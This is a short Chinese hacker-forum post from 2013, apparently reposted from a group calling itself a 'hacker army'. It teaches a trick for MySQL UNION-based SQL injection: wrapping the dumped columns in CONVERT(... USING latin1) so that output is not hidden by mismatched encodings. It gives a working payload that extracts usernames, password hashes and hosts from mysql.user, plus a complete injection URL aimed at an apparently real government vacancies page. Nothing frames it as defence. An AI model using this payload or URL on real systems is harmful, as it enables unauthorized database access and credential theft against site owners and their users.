您的位置:首页 > 其它

再谈联合查询注入字段间编码不同无法显示内容问题

2013-04-19 12:55 441 查看
作者:小D

来自:Silic Group Hacker Army

转载请注明:http://blackbap.org

首先我们来看这样的一个文章:简单搞定联合查询注入字段间编码不同无法显示内容问题

http://bbs.blackbap.org/thread-1646-1-1.html

这种EUC日本语言的网站用hex无可非议,但是如果遇到utf-8编码和lang=en啊西欧啊什么的不兼容,这样hex来unhex去的,相当麻烦。其实在俄罗斯黑客那里还有个更简单的方法。当然,函数还是函数,函数都是MySQL的,要看你怎么用了。

函数名称:convert()

作用:转换编码格式

在MySQL的编码格式中,有这么几种:gb2312和utf-8(当然还有,国内基本没有用的),还有一个默认的Latin1

如果显示位能显示数字,却无法显示user()(判断编码不同这个问题我就不重复了。。。),就可能是编码不同。这个时候用convert转换成latin1显示就行了。用法例如:

CONVERT(group_concat(DISTINCT+user,0x3a,password,0x3a,host)+USING+latin1)

复制代码
就这么简单。至于例子,自己找吧。convert也不是个难记的函数。转载请注明:http://blackbap.org

补充一个最痛快的例子,就是Mr.Cool原文章中的:
http://www.gov.ai/vacancies/details.php?id=-1+UNION+SELECT+1,2,3,4,5,6,CONVERT(group_concat(DISTINCT+user,0x3a,password,0x3a,host)+USING+latin1)+from+mysql.user/*
复制代码
注入, HEX, MySQL
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐